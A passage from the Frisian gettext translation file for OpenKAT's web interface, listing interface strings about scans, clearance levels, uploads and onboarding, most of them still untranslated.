rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \"\"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\"Koe frijwarringsnivo net ferheegje nei L%s. Frijwarring net oanwêzich by \"\n\"organisaasje %s.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"Kin frijwarringsnivo net ferheegje nei L%s. Jo binne in frijwarringsnivo \"\n\"tafertroud fan L%s. Nim kontakt op mei jo behearder om jo frijwarringsnivo \"\n\"te ferheegjen.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\"Kin frijwarringsnivo net ferheegje nei L%s. Jo hawwe in frijwarringsnivo \"\n\"befêstige fan L%s. Akseptearje it frijwarringsnivo ûnderoan de side om troch \"\n\"te gean.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"Frijwarringsnivo: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"Objekten mei sukses tafoege.\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"Raw-bestân kin net nei Bytes oplaad wurde: statuskoade %d\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"Raw-bestân kin net nei Bytes oplaad wurde: %s\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"Raw-bestân mei sukses tafoege.\"\n\n#~ msgid \"Clearance level has been set\"\n#~ msgstr \"Frijwarringsnivo is ynsteld\"\n\n#~ msgid \"Add URL\"\n#~ msgstr \"URL tafoegje\"\n\n#~ msgid \"\"\n#~ \"Boefjes that has a scan level below or equal to the clearance level, is \"\n#~ \"permitted to scan an object.\"\n#~ msgstr \"\"\n#~ \"Boefje dy’t in scannivo hat ûnder of lyk oan it frijwarringsnivo, mei in \"\n#~ \"objekt scanne.\"\n\n#~ msgid \"The Email must be set\"\n#~ msgstr \"It e-mailadres moat ynfolle wurde\"\n\n#~ msgid \"E-mail address\"\n#~ msgstr \"E-mailadres\"\n\n#~ msgid \"\"\n#~ \"You don't have any clearance to scan objects. <br> Get in contact with \"\n#~ \"the admin to give you the necessary clearance level.\"\n#~ msgstr \"\"\n#~ \"Jo hawwe gjin ien frijwarring om objekten te scannen. <br> Nim kontakt op \"\n#~ \"mei de behearder om jo it nedige frijwarringsnivo te jaan.\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        On this page you can see an overview of the \"\n#~ \"dashboards for all organizations.\\n\"\n#~ \"                        **More context can be written here**\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        Op dizze side sjogge jo in oersjoch fan de \"\n#~ \"dashboerden foar alle organisaasjes.\\n\"\n#~ \"                        **Mear kontekst kin hjir skreaun wurde**\\n\"\n#~ \"                    \"\n\n#~ msgid \"Asset reports details:\"\n#~ msgstr \"Assetrapportdetails:\"\n\n#~ msgid \"Asset reports:\"\n#~ msgstr \"Assetrapporten:\"\n\n#, python-brace-format\n#~ msgid \"A unique code of {code_length} characters.\"\n#~ msgstr \"In unike koade fan {code_length} tekens.\"\n\n#~ msgid \"\"\n#~ \"I declare that OpenKAT may scan the assets of my organization and that I \"\n#~ \"have permission to scan these assets. I am aware of the implications a \"\n#~ \"scan with a higher scan level brings on my systems.\"\n#~ msgstr \"\"\n#~ \"Ik ferklearje dat OpenKAT de assets fan myn organisaasje scanne mei en \"\n#~ \"dat ik tastimming haw om dizze assets te scannen. Ik bin my bewust fan de \"\n#~ \"ymplikaasjes dy’t in scan mei in heger scannivo op myn systemen hat.\"\n\n#~ msgid \"\"\n#~ \"I declare that I am authorized to give this indemnification within my \"\n#~ \"organization. I have the experience and knowledge to know what the \"\n#~ \"consequences might be and can be held responsible for them.\"\n#~ msgstr \"\"\n#~ \"Ik ferklearje dat ik foech haw om dizze frijwarring binnen myn \"\n#~ \"organisaasje ôf te jaan. Ik haw de ûnderfining en de kennis om te witten \"\n#~ \"wat de gefolgen wêze kinne en kin dêrfoar ferantwurdlik hâlden wurde.\"\n\n#~ msgid \"Register\"\n#~ msgstr \"Registrearje\"\n\n#~ msgid \"Create a new account for your organization\"\n#~ msgstr \"Meitsje in account oan foar jo organisaasje\"\n\n#~ msgid \"\"\n#~ \"All user  accounts are part of an organization. So if you’re new and your \"\n#~ \"company is also new to OpenKAT you can register here to create a OpenKAT \"\n#~ \"account for your company including an admin account for you. If you like \"\n#~ \"a user account that is connected to an already existing organization \"\n#~ \"within OpenKAT you can ask the admin to create an account for you.\"\n#~ msgstr \"\"\n#~ \"Alle brûkersaccounts binne ûnderdiel fan in organisaasje. Dus as jo nij \"\n#~ \"binne en jo organisaasje is ek nij yn OpenKAT, kinne jo jo hjir \"\n#~ \"registrearje om in OpenKAT-account oan te meitsjen ynklusyf in \"\n#~ \"beheardersaccount foar jo. As jo in brûkersaccount wolle dat ferbûn is \"\n#~ \"mei in al besteande organisaasje binnen OpenKAT, kinne jo de behearder \"\n#~ \"freegje in account foar jo oan te meitsjen.\"\n\n#~ msgid \"How does OpenKAT work\"\n#~ msgstr \"Hoe wurket OpenKAT\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data. OpenKAT \"\n#~ \"uses scans to find and assess the area's that might be at risk and \"\n#~ \"reports these back to you. As a user you decide which insight you would \"\n#~ \"like and OpenKAT guides you to through the process. During this \"\n#~ \"introduction you will be guided through the steps to create a report.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kin ynsjoch jaan yn befeiligingsrisiko’s op jo online objekten. \"\n#~ \"Bygelyks jo websites, mailservers of online data. OpenKAT brûkt scans om \"\n#~ \"de risikogebieten te finen en te beoardielen en rapportearret dizze oan \"\n#~ \"jo werom. As brûker beslisse jo hokker ynsjoch jo winske en OpenKAT \"\n#~ \"begeliedt jo troch it proses. Wylst dizze yntroduksje wurde jo troch de \"\n#~ \"stappen laad om in rapport te meitsjen.\"\n\n#~ msgid \"OpenKAT setup\"\n#~ msgstr \"OpenKAT-ynstellingen\"\n\n#~ msgid \"\"\n#~ \"Please enter the following organization details. These details can be \"\n#~ \"edited within the organization page within OpenKAT when necessary. Adding \"\n#~ \"a new organization requires a new database.\"\n#~ msgstr \"\"\n#~ \"Fier de folgjende organisaasjegegevens yn. Dizze gegevens kinne bewurke \"\n#~ \"wurde wannear nedich binnen de organisaasjeside binnen OpenKAT. In nije \"\n#~ \"organisaasje tafoegje hat in nije database nedich.\"\n\n#~ msgid \"Account setup\"\n#~ msgstr \"Account ynstelle\"\n\n#~ msgid \"Organization setup with separate accounts:\"\n#~ msgstr \"Organisaasje ynstelle mei aparte accounts:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT it is possible to create separate user accounts with the \"\n#~ \"specific roles. Each with their own functionalities and permissions. This \"\n#~ \"is useful when multiple people will be working with the same OpenKAT-\"\n#~ \"setup. You can choose to create the separate accounts during this \"\n#~ \"introduction or when you’re ready from the OpenKAT users page.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT is it mooglik om aparte brûkersaccounts oan te meitsjen \"\n#~ \"mei de spesifike rollen. Elk mei harren eigen funksjonaliteiten en \"\n#~ \"rjochten. Dit is handich as meardere minsken mei deselde OpenKAT-\"\n#~ \"ynstellingen wurkjen gean. Jo kinne der foar kieze om de aparte accounts \"\n#~ \"oan te meitsjen wylst dizze yntroduksje of wannear’t jo klear binne fan \"\n#~ \"de OpenKAT-brûkersside út.\"\n\n#~ msgid \"Single account setup:\"\n#~ msgstr \"Inkeld account ynstelle:\"\n\n#~ msgid \"\"\n#~ \"Alternatively it is also an option to run OpenKAT from a single user \"\n#~ \"account. Which is useful when you are the only user in the account. You \"\n#~ \"will be able to access the functionality of the different roles from your \"\n#~ \"account. You can always add additional user accounts If you’re team \"\n#~ \"expands in the future.\"\n#~ msgstr \"\"\n#~ \"It is ek in opsje om OpenKAT te draaien fan in account fan ien brûker út. \"\n#~ \"Dat is handich as jo de iennige brûker binne. Jo hawwe dan tagong ta de \"\n#~ \"funksjonaliteit fan de ferskate rollen fan jo account út. Jo kinne altyd \"\n#~ \"ekstra brûkersaccounts tafoegje as jo team yn de takomst útwreidet.\"\n\n#~ msgid \"Create separate accounts\"\n#~ msgstr \"Meardere accounts oanmeitsje\"\n\n#~ msgid \"Continue with this account, onboard me!\"\n#~ msgstr \"Gean troch mei allinnich dizze account. Onboard my!\"\n\n#~ msgid \"Users\"\n#~ msgstr \"Brûkers\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT there are three types of user accounts. Each has its own \"\n#~ \"functions.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT binne der trije soarten brûkersaccounts. Elk hat syn eigen \"\n#~ \"funksjes.\"\n\n#~ msgid \"Admin\"\n#~ msgstr \"Admin\"\n\n#~ msgid \"\"\n#~ \"Each organization must have an admin. The admin can create and manage \"\n#~ \"user accounts as well as organization details.\"\n#~ msgstr \"\"\n#~ \"De admin kin brûkers oanmeitsje, beheare en organisaasjegegevens wizigje.\"\n\n#~ msgid \"Red teamer\"\n#~ msgstr \"Red Teamer\"\n\n#~ msgid \"A red teamer account can run scans and generate reports.\"\n#~ msgstr \"In Red Teamer-account kin scans starte en rapporten oanmeitsje.\"\n\n#~ msgid \"Client account\"\n#~ msgstr \"Brûkersaccount\"\n\n#~ msgid \"A client account can access reports.\"\n#~ msgstr \"In brûker kin rapporten ynsjen.\"\n\n#~ msgid \"\"\n#~ \"Each organization requires at least one admin and one red teamer account \"\n#~ \"to function. This introduction will guide you through the setup of both. \"\n#~ \"After that you can choose to add a client account as well.\"\n#~ msgstr \"\"\n#~ \"Elke organisaasje hat in admin en in Red Teamer nedich. Dizze yntroduksje \"\n#~ \"helpt mei it oanmeitsjen fan dizze accounts.\"\n\n#~ msgid \"Let's add accounts\"\n#~ msgstr \"Accounts tafoegje\"\n\n#~ msgid \"Admin account setup\"\n#~ msgstr \"Admin-account ynstelle\"\n\n#~ msgid \"Admin details\"\n#~ msgstr \"Admindetails\"\n\n#~ msgid \"Skip this step\"\n#~ msgstr \"Oerslaan\"\n\n#~ msgid \"Go back to previous step\"\n#~ msgstr \"Gean werom nei de foarige stap\"\n\n#~ msgid \"Red teamer account setup\"\n#~ msgstr \"Red Teamer-account ynstelle\"\n\n#~ msgid \"Red teamer details\"\n#~ msgstr \"Red Teamerdetails\"\n\n#~ msgid \"Client account setup (optional)\"\n#~ msgstr \"Brûkersaccount ynstelle (opsjoneel)\"\n\n#~ msgid \"\"\n#~ \"A client account can access reports. Adding a client account to the \"\n#~ \"organization is optional.\"\n#~ msgstr \"\"\n#~ \"In brûkersaccount kin rapporten ynsjen. In brûkersaccount oan de \"\n#~ \"organisaasje tafoegje is opsjoneel.\"\n\n#~ msgid \"User details\"\n#~ msgstr \"Brûkersdetails\"\n\n#~ msgid \"Finish organization setup\"\n#~ msgstr \"Organisaasje ynstelle foltôgje\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is the \\\"Kwetsbaarheden Analyse Tool\\\" (Vulnerabilities Analysis \"\n#~ \"Tool). An Open-Source-project developed by the Ministry of Health, \"\n#~ \"Welfare and Sport to make your and our world a safer place.\"\n#~ msgstr \"\"\n#~ \"OpenKAT is de ‘Kwetsberheden Analyze Tool’. In iepen boarneprojekt \"\n#~ \"ûntwikkele troch it Ministerie van Volksgezondheid, Welzijn en Sport om \"\n#~ \"jo en ús wrâld feiliger te meitsjen.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kin ynsjoch jaan yn befeiligingsrisiko’s op jo online objekten. \"\n#~ \"Bygelyks jo websites, mailservers of online data.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to find and assess the area's that might be at risk \"\n#~ \"and reports these back to you. Each plugin has its own skillset which \"\n#~ \"could be scanning, normalizing or analyzing data. As a user you decide \"\n#~ \"which areas you would like to monitor or scan and which insight you would \"\n#~ \"like to receive.\"\n#~ msgstr \"\"\n#~ \"OpenKAT brûkt ynstekkers om de risikogebieten te finen en te beoardielen \"\n#~ \"en rapportearret dizze oan jo. Elke ynstekker hat syn eigen \"\n#~ \"feardichheden, lykas it scannen, normalisearjen of analysearjen fan \"\n#~ \"gegevens. As brûker beslisse jo hokker gebieden jo monitoarje of scanne \"\n#~ \"wolle en hokker ynsjoch jo ûntfange wolle.\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view the insights as well as all the data OpenKAT \"\n#~ \"has found. You can choose to browse through the data or view reports.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kinne jo sawol de ynsichten as alle gegevens dy’t OpenKAT \"\n#~ \"fûn hat besjen. Jo kinne derfoar kieze troch de gegevens te blêdzjen of \"\n#~ \"rapporten te besjen.\"\n\n#~ msgid \"\"\n#~ \"During this introduction you will be guided through the steps to create a \"\n#~ \"report.\"\n#~ msgstr \"Dizze yntroduksje leit út hoe’t jo in rapport meitsje.\"\n\n#~ msgid \"OpenKAT introduction\"\n#~ msgstr \"Yntroduksje OpenKAT\"\n\n#~ msgid \"Choose a report - Introduction\"\n#~ msgstr \"Kies in rapport – Yntroduksje\"\n\n#~ msgid \"\"\n#~ \"Reports within OpenKAT contain an overview of the scanned objects, issues \"\n#~ \"found within them and known security risks that the object might be \"\n#~ \"vulnerable to. Each report gives a high overview of the state of the \"\n#~ \"object as well as detailed information on what OpenKAT found and possible \"\n#~ \"solutions.\"\n#~ msgstr \"\"\n#~ \"Rapporten binnen OpenKAT befetsje in oersjoch fan de scande objekten, de \"\n#~ \"dêryn fûne problemen en bekende befeiligingsrisiko’s wêrfoar it objekt \"\n#~ \"kwetsber wêze kin. Elk rapport jout in heech oersjoch fan de tastân fan \"\n#~ \"it objekt en detaillearre ynformaasje oer wat OpenKAT fûn hat en mooglike \"\n#~ \"oplossingen.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT can scan and analyze by using plugins. Each plugin has it's \"\n#~ \"unique skillset and will collect specific data or give specific insights. \"\n#~ \"You manage the plugins within your account which let's OpenKAT know which \"\n#~ \"plugins to run and on which objects or areas.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kin scanne en analysearje mei help fan ynstekkers. Elke ynstekker \"\n#~ \"hat syn eigen unike feardichheden en sammelet spesifike gegevens of jout \"\n#~ \"spesifike ynsichten. Jo beheare de ynstekkers binnen jo account, wêrtroch \"\n#~ \"OpenKAT wit hokker ynstekkers útfierd wurde moatte en op hokker objekten \"\n#~ \"of gebieden.\"\n\n#~ msgid \"Generating a report\"\n#~ msgstr \"Rapport generearje\"\n\n#~ msgid \"\"\n#~ \"When you choose a report type OpenKAT will guide you through the setup. \"\n#~ \"OpenKAT will ask the necessary questions based on the input the report \"\n#~ \"needs, as well as asks for permission to run plugins that you haven’t \"\n#~ \"enabled yet but are needed to collect or analyze the data.\"\n#~ msgstr \"\"\n#~ \"Wannear’t jo in rapporttype kieze, sil OpenKAT jo begeliede by de \"\n#~ \"ynstallaasje. OpenKAT stelt de nedige fragen op basis fan de ynfier dy’t \"\n#~ \"it rapport nedich hat, en freget om tastimming om ynstekkers te brûken \"\n#~ \"dy’t jo noch net ynskeakele hawwe, mar dy’t nedich binne om de gegevens \"\n#~ \"te sammeljen of te analysearjen.\"\n\n#~ msgid \"\"\n#~ \"You can also choose to look at the collected data directly or generate \"\n#~ \"your own report by selecting and running plugins on objects of your \"\n#~ \"choice. OpenKAT will present the results.\"\n#~ msgstr \"\"\n#~ \"Jo kinne der ek foar kieze de sammele gegevens daliks te besjen of jo \"\n#~ \"eigen rapport te generearjen troch ynstekkers te selektearjen en út te \"\n#~ \"fieren op objekten fan jo kar. OpenKAT sil de resultaten presentearje.\"\n\n#~ msgid \"Permission\"\n#~ msgstr \"Tastimming\"\n\n#~ msgid \"\"\n#~ \"Plugins can be provided by OpenKAT but they can also come from the \"\n#~ \"community. Before a plugin can run, you need to give it permission by \"\n#~ \"enabling it.\"\n#~ msgstr \"\"\n#~ \"Ynstekkers kinne levere wurde troch OpenKAT, mar se kinne ek fan de \"\n#~ \"mienskip komme. Eardat in ynstekker draaie kin, moatte jo dizze \"\n#~ \"tastimming jaan troch dizze yn te skeakeljen.\"\n\n#~ msgid \"\"\n#~ \"When you generate a report. OpenKAT will let you know which plugins it \"\n#~ \"requires or suggests so you can choose to enable them.\"\n#~ msgstr \"\"\n#~ \"Wannear’t jo in rapport generearje, sil OpenKAT jo litte witte hokker \"\n#~ \"ynstekkers it fereasket of foarstelt, sadat jo derfoar kieze kinne om se \"\n#~ \"yn te skeakeljen.\"\n\n#~ msgid \"Let's choose a report\"\n#~ msgstr \"Kies in rapport\"\n\n#~ msgid \"Choose a report - Type\"\n#~ msgstr \"Kies in rapport – Type\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pentest, a DNS-report or a Mail Report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kinne jo rapporten besjen foar elk fan jo aktuele \"\n#~ \"objekten. Foar spesifike rapporten kinne jo ien fan de beskikbere \"\n#~ \"rapporttypen kieze en in rapport generearje. Lykas in pentest, in DNS-\"\n#~ \"rapport of in mailrapport.\"\n\n#~ msgid \"For this tutorial we will create a DNS-report to get you started.\"\n#~ msgstr \"\"\n#~ \"Foar dizze útlis sille wy in DNS-rapport kreëarje om jo op wei te helpen.\"\n\n#~ msgid \"\"\n#~ \"When you start to generate this report. OpenKAT will guide you through \"\n#~ \"the necessary steps.\"\n#~ msgstr \"\"\n#~ \"Wannear’t jo begjinne mei it generearjen fan dit rapport, sil OpenKAT jo \"\n#~ \"troch de nedige stappen liede.\"\n\n#~ msgid \"Setup scan\"\n#~ msgstr \"Scanynstellingen\"\n\n#~ msgid \"Let OpenKAT know what object to scan\"\n#~ msgstr \"Lit OpenKAT witte hokker objekt scand wurde moat\"\n\n#~ msgid \"\"\n#~ \"Plugins scan and analyze objects. OpenKAT needs to know which object(s) \"\n#~ \"you would like to scan and analyze for the DNS-report. So it can tell you \"\n#~ \"which plugins are available for the chosen object.\"\n#~ msgstr \"\"\n#~ \"Ynstekkers scanne en analysearje objekten. OpenKAT moat witte hokker \"\n#~ \"objekt(en) jo scanne en analysearje wolle foar it DNS-rapport. Sa kin it \"\n#~ \"jo fertelle hokker ynstekkers beskikber binne foar it keazen objekt.\"\n\n#~ msgid \"Understanding objects\"\n#~ msgstr \"Objekten begripe\"\n\n#~ msgid \"\"\n#~ \"A lot of things can be an object within the scope of OpenKAT. For example \"\n#~ \"a mailserver, an IP address, a URL, a DNS record, a hostname or a network \"\n#~ \"to name a few.  While these objects can be related to each other they are \"\n#~ \"all objects within OpenKAT that can be scanned to gain valuable insight.\"\n#~ msgstr \"\"\n#~ \"In protte saken kinne in objekt wêzen binnen OpenKAT. Bygelyks in \"\n#~ \"mailserver, in IP-adres, in URL, in DNS-record, in hostnamme of in \"\n#~ \"netwurk om der mar in pear te neamen.  Hoewol dizze objekten oan inoar \"\n#~ \"relatearre wêze kinne, binne it allegearre objekten binnen OpenKAT dy’t \"\n#~ \"scand wurde kinne om weardefolle ynsichten te krijen.\"\n\n#~ msgid \"Creating, adding and editing objects\"\n#~ msgstr \"Objekten oanmeitsje en oanpasse\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view, add and edit objects from the organization’s \"\n#~ \"object page.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kinne jo objekten besjen, tafoegje en bewurkje fan de \"\n#~ \"objektside fan de organisaasje út.\"\n\n#~ msgid \"\"\n#~ \"Let’s add an object to scan for the DNS-Report. For this introduction we \"\n#~ \"suggest adding a URL.\"\n#~ 